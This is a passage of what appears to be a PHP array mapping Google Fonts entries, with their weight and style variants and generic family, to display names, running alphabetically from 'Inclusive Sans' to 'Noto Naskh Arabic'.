			'"Inclusive Sans", "regular:italic", sans-serif'                                                                                                                             => 'Inclusive Sans',
			'"Inconsolata", "200:300:regular:500:600:700:800:900", monospace'                                                                                                            => 'Inconsolata',
			'"Inder", "regular", sans-serif'                                                                                                                                             => 'Inder',
			'"Indie Flower", "regular", handwriting'                                                                                                                                     => 'Indie Flower',
			'"Ingrid Darling", "regular", handwriting'                                                                                                                                   => 'Ingrid Darling',
			'"Inika", "regular:700", serif'                                                                                                                                              => 'Inika',
			'"Inknut Antiqua", "300:regular:500:600:700:800:900", serif'                                                                                                                 => 'Inknut Antiqua',
			'"Inria Sans", "300:300italic:regular:italic:700:700italic", sans-serif'                                                                                                     => 'Inria Sans',
			'"Inria Serif", "300:300italic:regular:italic:700:700italic", serif'                                                                                                         => 'Inria Serif',
			'"Inspiration", "regular", handwriting'                                                                                                                                      => 'Inspiration',
			'"Instrument Sans", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                  => 'Instrument Sans',
			'"Instrument Serif", "regular:italic", serif'                                                                                                                                => 'Instrument Serif',
			'"Inter", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Inter',
			'"Inter Tight", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Inter Tight',
			'"Irish Grover", "regular", display'                                                                                                                                         => 'Irish Grover',
			'"Island Moments", "regular", handwriting'                                                                                                                                   => 'Island Moments',
			'"Istok Web", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Istok Web',
			'"Italiana", "regular", serif'                                                                                                                                               => 'Italiana',
			'"Italianno", "regular", handwriting'                                                                                                                                        => 'Italianno',
			'"Itim", "regular", handwriting'                                                                                                                                             => 'Itim',
			'"Jacquard 12", "regular", display'                                                                                                                                          => 'Jacquard 12',
			'"Jacquard 12 Charted", "regular", display'                                                                                                                                  => 'Jacquard 12 Charted',
			'"Jacquard 24", "regular", display'                                                                                                                                          => 'Jacquard 24',
			'"Jacquard 24 Charted", "regular", display'                                                                                                                                  => 'Jacquard 24 Charted',
			'"Jacquarda Bastarda 9", "regular", display'                                                                                                                                 => 'Jacquarda Bastarda 9',
			'"Jacquarda Bastarda 9 Charted", "regular", display'                                                                                                                         => 'Jacquarda Bastarda 9 Charted',
			'"Jacques Francois", "regular", serif'                                                                                                                                       => 'Jacques Francois',
			'"Jacques Francois Shadow", "regular", display'                                                                                                                              => 'Jacques Francois Shadow',
			'"Jaini", "regular", display'                                                                                                                                                => 'Jaini',
			'"Jaini Purva", "regular", display'                                                                                                                                          => 'Jaini Purva',
			'"Jaldi", "regular:700", sans-serif'                                                                                                                                         => 'Jaldi',
			'"Jaro", "regular", sans-serif'                                                                                                                                              => 'Jaro',
			'"Jersey 10", "regular", display'                                                                                                                                            => 'Jersey 10',
			'"Jersey 10 Charted", "regular", display'                                                                                                                                    => 'Jersey 10 Charted',
			'"Jersey 15", "regular", display'                                                                                                                                            => 'Jersey 15',
			'"Jersey 15 Charted", "regular", display'                                                                                                                                    => 'Jersey 15 Charted',
			'"Jersey 20", "regular", display'                                                                                                                                            => 'Jersey 20',
			'"Jersey 20 Charted", "regular", display'                                                                                                                                    => 'Jersey 20 Charted',
			'"Jersey 25", "regular", display'                                                                                                                                            => 'Jersey 25',
			'"Jersey 25 Charted", "regular", display'                                                                                                                                    => 'Jersey 25 Charted',
			'"JetBrains Mono", "100:200:300:regular:500:600:700:800:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic", monospace'                            => 'JetBrains Mono',
			'"Jim Nightshade", "regular", handwriting'                                                                                                                                   => 'Jim Nightshade',
			'"Joan", "regular", serif'                                                                                                                                                   => 'Joan',
			'"Jockey One", "regular", sans-serif'                                                                                                                                        => 'Jockey One',
			'"Jolly Lodger", "regular", display'                                                                                                                                         => 'Jolly Lodger',
			'"Jomhuria", "regular", display'                                                                                                                                             => 'Jomhuria',
			'"Jomolhari", "regular", serif'                                                                                                                                              => 'Jomolhari',
			'"Josefin Sans", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", sans-serif'                                           => 'Josefin Sans',
			'"Josefin Slab", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", serif'                                                => 'Josefin Slab',
			'"Jost", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                       => 'Jost',
			'"Joti One", "regular", display'                                                                                                                                             => 'Joti One',
			'"Jua", "regular", sans-serif'                                                                                                                                               => 'Jua',
			'"Judson", "regular:italic:700", serif'                                                                                                                                      => 'Judson',
			'"Julee", "regular", handwriting'                                                                                                                                            => 'Julee',
			'"Julius Sans One", "regular", sans-serif'                                                                                                                                   => 'Julius Sans One',
			'"Junge", "regular", serif'                                                                                                                                                  => 'Junge',
			'"Jura", "300:regular:500:600:700", sans-serif'                                                                                                                              => 'Jura',
			'"Just Another Hand", "regular", handwriting'                                                                                                                                => 'Just Another Hand',
			'"Just Me Again Down Here", "regular", handwriting'                                                                                                                          => 'Just Me Again Down Here',
			'"K2D", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                      => 'K2D',
			'"Kablammo", "regular", display'                                                                                                                                             => 'Kablammo',
			'"Kadwa", "regular:700", serif'                                                                                                                                              => 'Kadwa',
			'"Kaisei Decol", "regular:500:700", serif'                                                                                                                                   => 'Kaisei Decol',
			'"Kaisei HarunoUmi", "regular:500:700", serif'                                                                                                                               => 'Kaisei HarunoUmi',
			'"Kaisei Opti", "regular:500:700", serif'                                                                                                                                    => 'Kaisei Opti',
			'"Kaisei Tokumin", "regular:500:700:800", serif'                                                                                                                             => 'Kaisei Tokumin',
			'"Kalam", "300:regular:700", handwriting'                                                                                                                                    => 'Kalam',
			'"Kalnia", "100:200:300:regular:500:600:700", serif'                                                                                                                         => 'Kalnia',
			'"Kalnia Glaze", "100:200:300:regular:500:600:700", display'                                                                                                                 => 'Kalnia Glaze',
			'"Kameron", "regular:500:600:700", serif'                                                                                                                                    => 'Kameron',
			'"Kanit", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                      => 'Kanit',
			'"Kantumruy Pro", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", sans-serif'                                          => 'Kantumruy Pro',
			'"Karantina", "300:regular:700", display'                                                                                                                                    => 'Karantina',
			'"Karla", "200:300:regular:500:600:700:800:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                                  => 'Karla',
			'"Karma", "300:regular:500:600:700", serif'                                                                                                                                  => 'Karma',
			'"Katibeh", "regular", display'                                                                                                                                              => 'Katibeh',
			'"Kaushan Script", "regular", handwriting'                                                                                                                                   => 'Kaushan Script',
			'"Kavivanar", "regular", handwriting'                                                                                                                                        => 'Kavivanar',
			'"Kavoon", "regular", display'                                                                                                                                               => 'Kavoon',
			'"Kay Pho Du", "regular:500:600:700", serif'                                                                                                                                 => 'Kay Pho Du',
			'"Kdam Thmor Pro", "regular", sans-serif'                                                                                                                                    => 'Kdam Thmor Pro',
			'"Keania One", "regular", display'                                                                                                                                           => 'Keania One',
			'"Kelly Slab", "regular", display'                                                                                                                                           => 'Kelly Slab',
			'"Kenia", "regular", display'                                                                                                                                                => 'Kenia',
			'"Khand", "300:regular:500:600:700", sans-serif'                                                                                                                             => 'Khand',
			'"Khmer", "regular", sans-serif'                                                                                                                                             => 'Khmer',
			'"Khula", "300:regular:600:700:800", sans-serif'                                                                                                                             => 'Khula',
			'"Kings", "regular", handwriting'                                                                                                                                            => 'Kings',
			'"Kirang Haerang", "regular", display'                                                                                                                                       => 'Kirang Haerang',
			'"Kite One", "regular", sans-serif'                                                                                                                                          => 'Kite One',
			'"Kiwi Maru", "300:regular:500", serif'                                                                                                                                      => 'Kiwi Maru',
			'"Klee One", "regular:600", handwriting'                                                                                                                                     => 'Klee One',
			'"Knewave", "regular", display'                                                                                                                                              => 'Knewave',
			'"KoHo", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                                 => 'KoHo',
			'"Kodchasan", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                            => 'Kodchasan',
			'"Kode Mono", "regular:500:600:700", monospace'                                                                                                                              => 'Kode Mono',
			'"Koh Santepheap", "100:300:regular:700:900", serif'                                                                                                                         => 'Koh Santepheap',
			'"Kolker Brush", "regular", handwriting'                                                                                                                                     => 'Kolker Brush',
			'"Konkhmer Sleokchher", "regular", display'                                                                                                                                  => 'Konkhmer Sleokchher',
			'"Kosugi", "regular", sans-serif'                                                                                                                                            => 'Kosugi',
			'"Kosugi Maru", "regular", sans-serif'                                                                                                                                       => 'Kosugi Maru',
			'"Kotta One", "regular", serif'                                                                                                                                              => 'Kotta One',
			'"Koulen", "regular", display'                                                                                                                                               => 'Koulen',
			'"Kranky", "regular", display'                                                                                                                                               => 'Kranky',
			'"Kreon", "300:regular:500:600:700", serif'                                                                                                                                  => 'Kreon',
			'"Kristi", "regular", handwriting'                                                                                                                                           => 'Kristi',
			'"Krona One", "regular", sans-serif'                                                                                                                                         => 'Krona One',
			'"Krub", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                                 => 'Krub',
			'"Kufam", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                                => 'Kufam',
			'"Kulim Park", "200:200italic:300:300italic:regular:italic:600:600italic:700:700italic", sans-serif'                                                                         => 'Kulim Park',
			'"Kumar One", "regular", display'                                                                                                                                            => 'Kumar One',
			'"Kumar One Outline", "regular", display'                                                                                                                                    => 'Kumar One Outline',
			'"Kumbh Sans", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Kumbh Sans',
			'"Kurale", "regular", serif'                                                                                                                                                 => 'Kurale',
			'"LXGW WenKai Mono TC", "300:regular:700", monospace'                                                                                                                        => 'LXGW WenKai Mono TC',
			'"LXGW WenKai TC", "300:regular:700", handwriting'                                                                                                                           => 'LXGW WenKai TC',
			'"La Belle Aurore", "regular", handwriting'                                                                                                                                  => 'La Belle Aurore',
			'"Labrada", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                         => 'Labrada',
			'"Lacquer", "regular", display'                                                                                                                                              => 'Lacquer',
			'"Laila", "300:regular:500:600:700", sans-serif'                                                                                                                             => 'Laila',
			'"Lakki Reddy", "regular", handwriting'                                                                                                                                      => 'Lakki Reddy',
			'"Lalezar", "regular", display'                                                                                                                                              => 'Lalezar',
			'"Lancelot", "regular", display'                                                                                                                                             => 'Lancelot',
			'"Langar", "regular", display'                                                                                                                                               => 'Langar',
			'"Lateef", "200:300:regular:500:600:700:800", serif'                                                                                                                         => 'Lateef',
			'"Lato", "100:100italic:300:300italic:regular:italic:700:700italic:900:900italic", sans-serif'                                                                               => 'Lato',
			'"Lavishly Yours", "regular", handwriting'                                                                                                                                   => 'Lavishly Yours',
			'"League Gothic", "regular", sans-serif'                                                                                                                                     => 'League Gothic',
			'"League Script", "regular", handwriting'                                                                                                                                    => 'League Script',
			'"League Spartan", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'League Spartan',
			'"Leckerli One", "regular", handwriting'                                                                                                                                     => 'Leckerli One',
			'"Ledger", "regular", serif'                                                                                                                                                 => 'Ledger',
			'"Lekton", "regular:italic:700", monospace'                                                                                                                                  => 'Lekton',
			'"Lemon", "regular", display'                                                                                                                                                => 'Lemon',
			'"Lemonada", "300:regular:500:600:700", display'                                                                                                                             => 'Lemonada',
			'"Lexend", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                            => 'Lexend',
			'"Lexend Deca", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Deca',
			'"Lexend Exa", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Lexend Exa',
			'"Lexend Giga", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Giga',
			'"Lexend Mega", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Mega',
			'"Lexend Peta", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Peta',
			'"Lexend Tera", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Tera',
			'"Lexend Zetta", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Lexend Zetta',
			'"Libre Barcode 128", "regular", display'                                                                                                                                    => 'Libre Barcode 128',
			'"Libre Barcode 128 Text", "regular", display'                                                                                                                               => 'Libre Barcode 128 Text',
			'"Libre Barcode 39", "regular", display'                                                                                                                                     => 'Libre Barcode 39',
			'"Libre Barcode 39 Extended", "regular", display'                                                                                                                            => 'Libre Barcode 39 Extended',
			'"Libre Barcode 39 Extended Text", "regular", display'                                                                                                                       => 'Libre Barcode 39 Extended Text',
			'"Libre Barcode 39 Text", "regular", display'                                                                                                                                => 'Libre Barcode 39 Text',
			'"Libre Barcode EAN13 Text", "regular", display'                                                                                                                             => 'Libre Barcode EAN13 Text',
			'"Libre Baskerville", "regular:italic:700", serif'                                                                                                                           => 'Libre Baskerville',
			'"Libre Bodoni", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                          => 'Libre Bodoni',
			'"Libre Caslon Display", "regular", serif'                                                                                                                                   => 'Libre Caslon Display',
			'"Libre Caslon Text", "regular:italic:700", serif'                                                                                                                           => 'Libre Caslon Text',
			'"Libre Franklin", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Libre Franklin',
			'"Licorice", "regular", handwriting'                                                                                                                                         => 'Licorice',
			'"Life Savers", "regular:700:800", display'                                                                                                                                  => 'Life Savers',
			'"Lilita One", "regular", display'                                                                                                                                           => 'Lilita One',
			'"Lily Script One", "regular", display'                                                                                                                                      => 'Lily Script One',
			'"Limelight", "regular", display'                                                                                                                                            => 'Limelight',
			'"Linden Hill", "regular:italic", serif'                                                                                                                                     => 'Linden Hill',
			'"Linefont", "100:200:300:regular:500:600:700:800:900", display'                                                                                                             => 'Linefont',
			'"Lisu Bosa", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                                     => 'Lisu Bosa',
			'"Literata", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                      => 'Literata',
			'"Liu Jian Mao Cao", "regular", handwriting'                                                                                                                                 => 'Liu Jian Mao Cao',
			'"Livvic", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:900:900italic", sans-serif'                                   => 'Livvic',
			'"Lobster", "regular", display'                                                                                                                                              => 'Lobster',
			'"Lobster Two", "regular:italic:700:700italic", display'                                                                                                                     => 'Lobster Two',
			'"Londrina Outline", "regular", display'                                                                                                                                     => 'Londrina Outline',
			'"Londrina Shadow", "regular", display'                                                                                                                                      => 'Londrina Shadow',
			'"Londrina Sketch", "regular", display'                                                                                                                                      => 'Londrina Sketch',
			'"Londrina Solid", "100:300:regular:900", display'                                                                                                                           => 'Londrina Solid',
			'"Long Cang", "regular", handwriting'                                                                                                                                        => 'Long Cang',
			'"Lora", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                                  => 'Lora',
			'"Love Light", "regular", handwriting'                                                                                                                                       => 'Love Light',
			'"Love Ya Like A Sister", "regular", display'                                                                                                                                => 'Love Ya Like A Sister',
			'"Loved by the King", "regular", handwriting'                                                                                                                                => 'Loved by the King',
			'"Lovers Quarrel", "regular", handwriting'                                                                                                                                   => 'Lovers Quarrel',
			'"Luckiest Guy", "regular", display'                                                                                                                                         => 'Luckiest Guy',
			'"Lugrasimo", "regular", handwriting'                                                                                                                                        => 'Lugrasimo',
			'"Lumanosimo", "regular", handwriting'                                                                                                                                       => 'Lumanosimo',
			'"Lunasima", "regular:700", sans-serif'                                                                                                                                      => 'Lunasima',
			'"Lusitana", "regular:700", serif'                                                                                                                                           => 'Lusitana',
			'"Lustria", "regular", serif'                                                                                                                                                => 'Lustria',
			'"Luxurious Roman", "regular", display'                                                                                                                                      => 'Luxurious Roman',
			'"Luxurious Script", "regular", handwriting'                                                                                                                                 => 'Luxurious Script',
			'"M PLUS 1", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                          => 'M PLUS 1',
			'"M PLUS 1 Code", "100:200:300:regular:500:600:700", monospace'                                                                                                              => 'M PLUS 1 Code',
			'"M PLUS 1p", "100:300:regular:500:700:800:900", sans-serif'                                                                                                                 => 'M PLUS 1p',
			'"M PLUS 2", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                          => 'M PLUS 2',
			'"M PLUS Code Latin", "100:200:300:regular:500:600:700", sans-serif'                                                                                                         => 'M PLUS Code Latin',
			'"M PLUS Rounded 1c", "100:300:regular:500:700:800:900", sans-serif'                                                                                                         => 'M PLUS Rounded 1c',
			'"Ma Shan Zheng", "regular", handwriting'                                                                                                                                    => 'Ma Shan Zheng',
			'"Macondo", "regular", display'                                                                                                                                              => 'Macondo',
			'"Macondo Swash Caps", "regular", display'                                                                                                                                   => 'Macondo Swash Caps',
			'"Mada", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                                  => 'Mada',
			'"Madimi One", "regular", sans-serif'                                                                                                                                        => 'Madimi One',
			'"Magra", "regular:700", sans-serif'                                                                                                                                         => 'Magra',
			'"Maiden Orange", "regular", serif'                                                                                                                                          => 'Maiden Orange',
			'"Maitree", "200:300:regular:500:600:700", serif'                                                                                                                            => 'Maitree',
			'"Major Mono Display", "regular", monospace'                                                                                                                                 => 'Major Mono Display',
			'"Mako", "regular", sans-serif'                                                                                                                                              => 'Mako',
			'"Mali", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", handwriting'                                                                => 'Mali',
			'"Mallanna", "regular", sans-serif'                                                                                                                                          => 'Mallanna',
			'"Maname", "regular", serif'                                                                                                                                                 => 'Maname',
			'"Mandali", "regular", sans-serif'                                                                                                                                           => 'Mandali',
			'"Manjari", "100:regular:700", sans-serif'                                                                                                                                   => 'Manjari',
			'"Manrope", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                   => 'Manrope',
			'"Mansalva", "regular", handwriting'                                                                                                                                         => 'Mansalva',
			'"Manuale", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                                   => 'Manuale',
			'"Marcellus", "regular", serif'                                                                                                                                              => 'Marcellus',
			'"Marcellus SC", "regular", serif'                                                                                                                                           => 'Marcellus SC',
			'"Marck Script", "regular", handwriting'                                                                                                                                     => 'Marck Script',
			'"Margarine", "regular", display'                                                                                                                                            => 'Margarine',
			'"Marhey", "300:regular:500:600:700", display'                                                                                                                               => 'Marhey',
			'"Markazi Text", "regular:500:600:700", serif'                                                                                                                               => 'Markazi Text',
			'"Marko One", "regular", serif'                                                                                                                                              => 'Marko One',
			'"Marmelad", "regular", sans-serif'                                                                                                                                          => 'Marmelad',
			'"Martel", "200:300:regular:600:700:800:900", serif'                                                                                                                         => 'Martel',
			'"Martel Sans", "200:300:regular:600:700:800:900", sans-serif'                                                                                                               => 'Martel Sans',
			'"Martian Mono", "100:200:300:regular:500:600:700:800", monospace'                                                                                                           => 'Martian Mono',
			'"Marvel", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Marvel',
			'"Mate", "regular:italic", serif'                                                                                                                                            => 'Mate',
			'"Mate SC", "regular", serif'                                                                                                                                                => 'Mate SC',
			'"Material Icons", "regular", monospace'                                                                                                                                     => 'Material Icons',
			'"Material Icons Outlined", "regular", monospace'                                                                                                                            => 'Material Icons Outlined',
			'"Material Icons Round", "regular", monospace'                                                                                                                               => 'Material Icons Round',
			'"Material Icons Sharp", "regular", monospace'                                                                                                                               => 'Material Icons Sharp',
			'"Material Icons Two Tone", "regular", monospace'                                                                                                                            => 'Material Icons Two Tone',
			'"Material Symbols Outlined", "100:200:300:regular:500:600:700", monospace'                                                                                                  => 'Material Symbols Outlined',
			'"Material Symbols Rounded", "100:200:300:regular:500:600:700", monospace'                                                                                                   => 'Material Symbols Rounded',
			'"Material Symbols Sharp", "100:200:300:regular:500:600:700", monospace'                                                                                                     => 'Material Symbols Sharp',
			'"Maven Pro", "regular:500:600:700:800:900", sans-serif'                                                                                                                     => 'Maven Pro',
			'"McLaren", "regular", display'                                                                                                                                              => 'McLaren',
			'"Mea Culpa", "regular", handwriting'                                                                                                                                        => 'Mea Culpa',
			'"Meddon", "regular", handwriting'                                                                                                                                           => 'Meddon',
			'"MedievalSharp", "regular", display'                                                                                                                                        => 'MedievalSharp',
			'"Medula One", "regular", display'                                                                                                                                           => 'Medula One',
			'"Meera Inimai", "regular", sans-serif'                                                                                                                                      => 'Meera Inimai',
			'"Megrim", "regular", display'                                                                                                                                               => 'Megrim',
			'"Meie Script", "regular", handwriting'                                                                                                                                      => 'Meie Script',
			'"Meow Script", "regular", handwriting'                                                                                                                                      => 'Meow Script',
			'"Merienda", "300:regular:500:600:700:800:900", handwriting'                                                                                                                 => 'Merienda',
			'"Merriweather", "300:300italic:regular:italic:700:700italic:900:900italic", serif'                                                                                          => 'Merriweather',
			'"Merriweather Sans", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                                    => 'Merriweather Sans',
			'"Metal", "regular", display'                                                                                                                                                => 'Metal',
			'"Metal Mania", "regular", display'                                                                                                                                          => 'Metal Mania',
			'"Metamorphous", "regular", display'                                                                                                                                         => 'Metamorphous',
			'"Metrophobic", "regular", sans-serif'                                                                                                                                       => 'Metrophobic',
			'"Michroma", "regular", sans-serif'                                                                                                                                          => 'Michroma',
			'"Micro 5", "regular", display'                                                                                                                                              => 'Micro 5',
			'"Micro 5 Charted", "regular", display'                                                                                                                                      => 'Micro 5 Charted',
			'"Milonga", "regular", display'                                                                                                                                              => 'Milonga',
			'"Miltonian", "regular", display'                                                                                                                                            => 'Miltonian',
			'"Miltonian Tattoo", "regular", display'                                                                                                                                     => 'Miltonian Tattoo',
			'"Mina", "regular:700", sans-serif'                                                                                                                                          => 'Mina',
			'"Mingzat", "regular", sans-serif'                                                                                                                                           => 'Mingzat',
			'"Miniver", "regular", display'                                                                                                                                              => 'Miniver',
			'"Miriam Libre", "regular:700", sans-serif'                                                                                                                                  => 'Miriam Libre',
			'"Mirza", "regular:500:600:700", serif'                                                                                                                                      => 'Mirza',
			'"Miss Fajardose", "regular", handwriting'                                                                                                                                   => 'Miss Fajardose',
			'"Mitr", "200:300:regular:500:600:700", sans-serif'                                                                                                                          => 'Mitr',
			'"Mochiy Pop One", "regular", sans-serif'                                                                                                                                    => 'Mochiy Pop One',
			'"Mochiy Pop P One", "regular", sans-serif'                                                                                                                                  => 'Mochiy Pop P One',
			'"Modak", "regular", display'                                                                                                                                                => 'Modak',
			'"Modern Antiqua", "regular", display'                                                                                                                                       => 'Modern Antiqua',
			'"Mogra", "regular", display'                                                                                                                                                => 'Mogra',
			'"Mohave", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", sans-serif'                                                                             => 'Mohave',
			'"Moirai One", "regular", display'                                                                                                                                           => 'Moirai One',
			'"Molengo", "regular", sans-serif'                                                                                                                                           => 'Molengo',
			'"Molle", "italic", handwriting'                                                                                                                                             => 'Molle',
			'"Monda", "regular:500:600:700", sans-serif'                                                                                                                                 => 'Monda',
			'"Monofett", "regular", monospace'                                                                                                                                           => 'Monofett',
			'"Monomaniac One", "regular", sans-serif'                                                                                                                                    => 'Monomaniac One',
			'"Monoton", "regular", display'                                                                                                                                              => 'Monoton',
			'"Monsieur La Doulaise", "regular", handwriting'                                                                                                                             => 'Monsieur La Doulaise',
			'"Montaga", "regular", serif'                                                                                                                                                => 'Montaga',
			'"Montagu Slab", "100:200:300:regular:500:600:700", serif'                                                                                                                   => 'Montagu Slab',
			'"MonteCarlo", "regular", handwriting'                                                                                                                                       => 'MonteCarlo',
			'"Montez", "regular", handwriting'                                                                                                                                           => 'Montez',
			'"Montserrat", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                 => 'Montserrat',
			'"Montserrat Alternates", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'      => 'Montserrat Alternates',
			'"Montserrat Subrayada", "regular:700", sans-serif'                                                                                                                          => 'Montserrat Subrayada',
			'"Moo Lah Lah", "regular", display'                                                                                                                                          => 'Moo Lah Lah',
			'"Mooli", "regular", sans-serif'                                                                                                                                             => 'Mooli',
			'"Moon Dance", "regular", handwriting'                                                                                                                                       => 'Moon Dance',
			'"Moul", "regular", display'                                                                                                                                                 => 'Moul',
			'"Moulpali", "regular", sans-serif'                                                                                                                                          => 'Moulpali',
			'"Mountains of Christmas", "regular:700", display'                                                                                                                           => 'Mountains of Christmas',
			'"Mouse Memoirs", "regular", sans-serif'                                                                                                                                     => 'Mouse Memoirs',
			'"Mr Bedfort", "regular", handwriting'                                                                                                                                       => 'Mr Bedfort',
			'"Mr Dafoe", "regular", handwriting'                                                                                                                                         => 'Mr Dafoe',
			'"Mr De Haviland", "regular", handwriting'                                                                                                                                   => 'Mr De Haviland',
			'"Mrs Saint Delafield", "regular", handwriting'                                                                                                                              => 'Mrs Saint Delafield',
			'"Mrs Sheppards", "regular", handwriting'                                                                                                                                    => 'Mrs Sheppards',
			'"Ms Madi", "regular", handwriting'                                                                                                                                          => 'Ms Madi',
			'"Mukta", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                     => 'Mukta',
			'"Mukta Mahee", "200:300:regular:500:600:700:800", sans-serif'                                                                                                               => 'Mukta Mahee',
			'"Mukta Malar", "200:300:regular:500:600:700:800", sans-serif'                                                                                                               => 'Mukta Malar',
			'"Mukta Vaani", "200:300:regular:500:600:700:800", sans-serif'                                                                                                               => 'Mukta Vaani',
			'"Mulish", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                   => 'Mulish',
			'"Murecho", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                           => 'Murecho',
			'"MuseoModerno", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                  => 'MuseoModerno',
			'"My Soul", "regular", handwriting'                                                                                                                                          => 'My Soul',
			'"Mynerve", "regular", handwriting'                                                                                                                                          => 'Mynerve',
			'"Mystery Quest", "regular", display'                                                                                                                                        => 'Mystery Quest',
			'"NTR", "regular", sans-serif'                                                                                                                                               => 'NTR',
			'"Nabla", "regular", display'                                                                                                                                                => 'Nabla',
			'"Namdhinggo", "regular:500:600:700:800", serif'                                                                                                                             => 'Namdhinggo',
			'"Nanum Brush Script", "regular", handwriting'                                                                                                                               => 'Nanum Brush Script',
			'"Nanum Gothic", "regular:700:800", sans-serif'                                                                                                                              => 'Nanum Gothic',
			'"Nanum Gothic Coding", "regular:700", handwriting'                                                                                                                          => 'Nanum Gothic Coding',
			'"Nanum Myeongjo", "regular:700:800", serif'                                                                                                                                 => 'Nanum Myeongjo',
			'"Nanum Pen Script", "regular", handwriting'                                                                                                                                 => 'Nanum Pen Script',
			'"Narnoor", "regular:500:600:700:800", serif'                                                                                                                                => 'Narnoor',
			'"Neonderthaw", "regular", handwriting'                                                                                                                                      => 'Neonderthaw',
			'"Nerko One", "regular", handwriting'                                                                                                                                        => 'Nerko One',
			'"Neucha", "regular", handwriting'                                                                                                                                           => 'Neucha',
			'"Neuton", "200:300:regular:italic:700:800", serif'                                                                                                                          => 'Neuton',
			'"New Rocker", "regular", display'                                                                                                                                           => 'New Rocker',
			'"New Tegomin", "regular", serif'                                                                                                                                            => 'New Tegomin',
			'"News Cycle", "regular:700", sans-serif'                                                                                                                                    => 'News Cycle',
			'"Newsreader", "200:300:regular:500:600:700:800:200italic:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                  => 'Newsreader',
			'"Niconne", "regular", handwriting'                                                                                                                                          => 'Niconne',
			'"Niramit", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                              => 'Niramit',
			'"Nixie One", "regular", display'                                                                                                                                            => 'Nixie One',
			'"Nobile", "regular:italic:500:500italic:700:700italic", sans-serif'                                                                                                         => 'Nobile',
			'"Nokora", "100:300:regular:700:900", sans-serif'                                                                                                                            => 'Nokora',
			'"Norican", "regular", handwriting'                                                                                                                                          => 'Norican',
			'"Nosifer", "regular", display'                                                                                                                                              => 'Nosifer',
			'"Notable", "regular", sans-serif'                                                                                                                                           => 'Notable',
			'"Nothing You Could Do", "regular", handwriting'                                                                                                                             => 'Nothing You Could Do',
			'"Noticia Text", "regular:italic:700:700italic", serif'                                                                                                                      => 'Noticia Text',
			'"Noto Color Emoji", "regular", sans-serif'                                                                                                                                  => 'Noto Color Emoji',
			'"Noto Emoji", "300:regular:500:600:700", sans-serif'                                                                                                                        => 'Noto Emoji',
			'"Noto Kufi Arabic", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                  => 'Noto Kufi Arabic',
			'"Noto Music", "regular", sans-serif'                                                                                                                                        => 'Noto Music',
			'"Noto Naskh Arabic", "regular:500:600:700", serif'                                                                                                                          => 'Noto Naskh Arabic',
